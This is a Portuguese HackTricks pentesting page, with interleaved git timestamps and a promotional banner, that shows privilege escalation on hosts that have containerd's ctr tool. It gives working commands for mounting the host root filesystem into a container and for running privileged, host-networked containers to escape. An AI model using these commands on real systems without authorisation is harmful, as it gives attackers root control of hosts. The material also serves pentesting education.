2024-04-06 19:38:49 +00:00
# Containerd (ctr) Privilege Escalation
2022-04-28 16:01:33 +00:00
< details >
2024-02-06 14:25:15 +00:00
< summary > < strong > Aprenda hacking na AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-06 14:25:15 +00:00
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2023-06-06 18:56:34 +00:00
* Adquira o [**swag oficial do PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-06 14:25:15 +00:00
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-04-06 19:38:49 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-02-06 14:25:15 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2022-04-28 16:01:33 +00:00
< / details >
2023-06-06 18:56:34 +00:00
## Informações básicas
2021-01-03 00:43:09 +00:00
2024-02-06 14:25:15 +00:00
Acesse o seguinte link para aprender **o que é o containerd** e `ctr` :
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md ](../../network-services-pentesting/2375-pentesting-docker.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
## PE 1
2021-01-03 00:43:09 +00:00
2024-02-06 14:25:15 +00:00
se você descobrir que um host contém o comando `ctr` :
2024-04-06 19:38:49 +00:00
2021-01-03 00:43:09 +00:00
```bash
which ctr
/usr/bin/ctr
```
2024-04-06 19:38:49 +00:00
2023-06-06 18:56:34 +00:00
Você pode listar as imagens:
2024-04-06 19:38:49 +00:00
2021-01-03 00:43:09 +00:00
```bash
ctr image list
2024-02-06 14:25:15 +00:00
REF TYPE DIGEST SIZE PLATFORMS LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
2021-01-03 00:43:09 +00:00
```
2024-04-06 19:38:49 +00:00
2023-06-06 18:56:34 +00:00
E então **execute uma dessas imagens montando a pasta raiz do host nela** :
2024-04-06 19:38:49 +00:00
2021-01-03 00:43:09 +00:00
```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```
2024-04-06 19:38:49 +00:00
2022-05-01 13:25:53 +00:00
## PE 2
2021-01-03 00:43:09 +00:00
2023-06-06 18:56:34 +00:00
Execute um contêiner com privilégios e escape dele.\
Você pode executar um contêiner com privilégios da seguinte forma:
2024-04-06 19:38:49 +00:00
2021-01-03 00:43:09 +00:00
```bash
2024-02-06 14:25:15 +00:00
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
2021-01-03 00:43:09 +00:00
```
2024-04-06 19:38:49 +00:00
2024-02-06 14:25:15 +00:00
Então você pode usar algumas das técnicas mencionadas na seguinte página para **escapar dela abusando de capacidades privilegiadas** :
2021-01-03 00:43:09 +00:00
2024-04-06 19:38:49 +00:00
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/pt/linux-hardening/privilege-escalation/docker-seguranca/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/pt/linux-hardening/privilege-escalation/docker-seguranca/README.md ](https://github.com/carlospolop/hacktricks/blob/pt/linux-hardening/privilege-escalation/docker-seguranca/README.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}